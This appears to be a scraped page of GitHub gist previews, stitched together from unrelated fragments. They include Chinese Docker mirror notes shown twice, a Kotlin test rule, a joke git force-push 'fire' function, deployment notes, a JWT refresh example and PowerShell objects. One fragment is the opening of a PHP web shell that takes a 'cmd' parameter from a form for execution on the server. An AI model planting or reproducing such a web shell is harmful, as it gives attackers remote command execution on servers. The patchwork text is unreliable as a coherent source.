国内从 Docker Hub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。Docker 官方和国内很多云服务商都提供了国内加速器服务。
Dockerized 实践 https://github.com/y0ngb1n/dockerized
Ubuntu 16.04+、Debian 8+、CentOS 7+
package com.stepstone.test.rule | |
import android.app.Activity | |
import android.content.Intent | |
import androidx.test.core.app.ActivityScenario | |
import org.junit.rules.ExternalResource | |
class LazyActivityScenarioRule<A : Activity> : ExternalResource { | |
constructor(launchActivity: Boolean, startActivityIntentSupplier: () -> Intent) { |
国内从 Docker Hub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。Docker 官方和国内很多云服务商都提供了国内加速器服务。
Dockerized 实践 https://github.com/y0ngb1n/dockerized
Ubuntu 16.04+、Debian 8+、CentOS 7+
function fire() { | |
local BRANCH=emergency-`date +%s`-`git config user.email` | |
git checkout -b $BRANCH | |
git add -A | |
git commit -m 'EMERGENCY!' | |
git push -f origin $BRANCH | |
} | |
# Inspired by https://www.reddit.com/r/ProgrammerHumor/comments/3nc531/in_case_of_fire/cvn1k27/ |
Steps to deploy a Node.js app to DigitalOcean using PM2, NGINX as a reverse proxy and an SSL from LetsEncrypt
Create free AWS Account at https://aws.amazon.com/
I would be creating a t2.medium ubuntu machine for this demo.
/** | |
* Example to refresh tokens using https://github.com/auth0/node-jsonwebtoken | |
* It was requested to be introduced at as part of the jsonwebtoken library, | |
* since we feel it does not add too much value but it will add code to mantain | |
* we won't include it. | |
* | |
* I create this gist just to help those who want to auto-refresh JWTs. | |
*/ | |
const jwt = require('jsonwebtoken'); |
aka what i did to get from nothing to done.
note: these are designed to be primarily a re-install guide for myself (writing things down helps me memorize the knowledge), as such don't take any of this on blind faith - some areas are well tested and the docs are very robust, some items, less so). YMMV
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ |
#!/bin/bash | |
# generate a number of files with random sizes in a range | |
min=1 # min size (MB) | |
max=10 # max size (MB) | |
nofiles=20 # number of files | |
for i in `eval echo {1..$nofiles}` | |
do | |
dd bs=1M count=$(($RANDOM%max + $min)) if=/dev/urandom of=./files/file$i |
Readme: In the following pseudo code, [] indicates a subroutine. | |
Sometimes I choose to write the subroutine inline under the [] in order to maintain context. | |
One important fact about the way rollbacks are handled here is that we are storing state for every frame. | |
In any real implementation you only need to store one game state at a time. Storing a game | |
state for every frame allows us to only rollback to the first frame where the predicted inputs don't match the true ones. | |
==Constants== | |
MAX_ROLLBACK_FRAMES := Any Positive Integer # Specifies the maximum number of frames that can be resimulated | |
FRAME_ADVANTAGE_LIMIT := Any Positive Integer # Specifies the number of frames the local client can progress ahead of the remote client before time synchronizing. |
. .\Employee.ps1 | |
$CEO = [Employee]::new("John","CEO", 30000) | |
$HeadSales = [Employee]::new("Robert","Head Sales", 20000) | |
$HeadMarketing = [Employee]::new("Michel","Head Marketing", 20000) | |
$clerk1 = [Employee]::new("Laura","Marketing", 10000) | |
$clerk2 = [Employee]::new("Bob","Marketing", 10000) | |
$salesExecutive1 = [Employee]::new("Richard","Sales", 10000) | |
$salesExecutive2 = [Employee]::new("Rob","Sales", 10000) |